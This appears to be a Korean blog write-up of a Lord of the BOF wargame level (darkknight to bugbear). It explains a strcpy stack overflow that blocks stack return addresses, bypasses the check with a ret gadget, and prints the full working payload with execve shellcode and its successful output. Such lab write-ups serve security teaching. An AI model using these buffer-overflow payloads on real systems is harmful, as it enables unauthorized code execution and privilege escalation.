728x90
반응형
1. intro
2. code 및 분석
2.1 C code
/*
The Lord of the BOF : The Fellowship of the BOF
- bugbear
- RTL1
*/
#include <stdio.h>
#include <stdlib.h>
main(int argc, char *argv[])
{
char buffer[40];
int i;
if(argc < 2){
printf("argv error\n");
exit(0);
}
if(argv[1][47] == '\xbf')
{
printf("stack betrayed you!!\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
}
2.3. 분석
2.3.1. assembler code (중요 부분)
지금까지는 return address의 시작 값으로 0xbf를 사용해야했지만, 이제 사용이 불가능하다.
0x804845e <main+46>: cmpb $0xbf,(%edx)
0x8048461 <main+49>: jne 0x8048480 <main+80>
3. 취약점 확인 및 공격 준비
3.1 취약점
stack 영역 이외의 주소를 사용해서 공격해야하는데, 이때 사용할 수 있는 것이 return to library 이다.
최근에는 ASLR이나 PIE로 인해 주소가 랜덤화되기에 memory leak이 필수적이나, lob 환경에서는 불필요하다.
3.2 공격 준비
어찌됐던 main의 ret에만 \xbf가 안들어가면 된다.
그러므로 ret gadget을 사용하면 될 것 같다.
대충 문제 파일에서 ret gadget을 찾아보면 아래와 같다.
[darkknight@localhost darkknight]$ objdump -d bugbear
bugbear: file format elf32-i386
Disassembly of section .init:
080482e0 <_init>:
80482e0: 55 push %ebp
80482e1: 89 e5 mov %esp,%ebp
80482e3: 53 push %ebx
80482e4: e8 00 00 00 00 call 80482e9 <_init+0x9>
80482e9: 5b pop %ebx
80482ea: 81 c3 5f 12 00 00 add $0x125f,%ebx
80482f0: 83 bb 24 00 00 00 00 cmpl $0x0,0x24(%ebx)
80482f7: 74 05 je 80482fe <_init+0x1e>
80482f9: e8 02 7d fb f7 call 0 <_init-0x80482e0>
80482fe: 89 f6 mov %esi,%esi
8048300: e8 fb 00 00 00 call 8048400 <frame_dummy>
8048305: e8 a6 01 00 00 call 80484b0 <__do_global_ctors_aux>
804830a: 8b 5d fc mov 0xfffffffc(%ebp),%ebx
804830d: c9 leave
804830e: c3 ret
Disassembly of section .plt:
...
첫번째로 나온 _init 함수의 ret을 쓰자.
ret은 pop eip, jmp eip의 역할을 하므로 공격 구조는 아래와 같다.
dummy 0x40 + sfp 0x4 + gadget + actual ret address + shellcode
대략 구성해서 actual ret address를 보면 아래와 같다.
(gdb) r `python -c 'print "A"*0x2c + "\x0e\x83\x04\x08" + "AAAA" + "\x90"*0x30 + "\x31\xc0\x89\xc2\x89\xc1\x50\x68\x70\x61\x73\x73\x68\x2f\x6d\x79\x2d\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/darkknight/bugbeaa `python -c 'print "A"*0x2c + "\x0e\x83\x04\x08" + "AAAA" + "\x90"*0x30 + "\x31\xc0\x89\xc2\x89\xc1\x50\x68\x70\x61\x73\x73\x68\x2f\x6d\x79\x2d\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"'`
/bin/bash2: /home/skeleton/.bashrc: Permission denied
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒1▒�▒Phpassh/my-h/bin▒▒
̀
Breakpoint 1, 0x80484a6 in main ()
(gdb) x/x $ebp
0xbffffa78: 0x41414141
(gdb)
0xbffffa7c: 0x0804830e
(gdb)
0xbffffa80: 0x41414141
(gdb)
0xbffffa84: 0x90909090
4. exploit
위를 토대로 공격해보면 아래와 같다.
[darkknight@localhost darkknight]$ ./bugbear `python -c 'print "A"*0x2c + "\x0e\x83\x04\x08" + "\x84\xfa\xff\xbf" + "\x90"*0x30 + "\x31\xc0\x89\xc2\x89\xc1\x50\x68\x70\x61\x73\x73\x68\x2f\x6d\x79\x2d\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒1▒�▒Phpassh/my-h/bin▒▒
̀
euid = 513
new divide
문제의 힌트로는 RTL이라 적혀있는데, ROP으로 풀었다;
728x90
반응형
'Wargame > Hackerchool' 카테고리의 다른 글
[lob] giant -> assassin (0) | 2022.09.16 |
---|---|
[lob] bugbear -> giant (0) | 2022.09.15 |
[lob] golem -> darkknight (0) | 2022.09.15 |
[lob] skeleton -> golem (0) | 2022.09.14 |
[lob] vampire -> skeleton (0) | 2022.09.13 |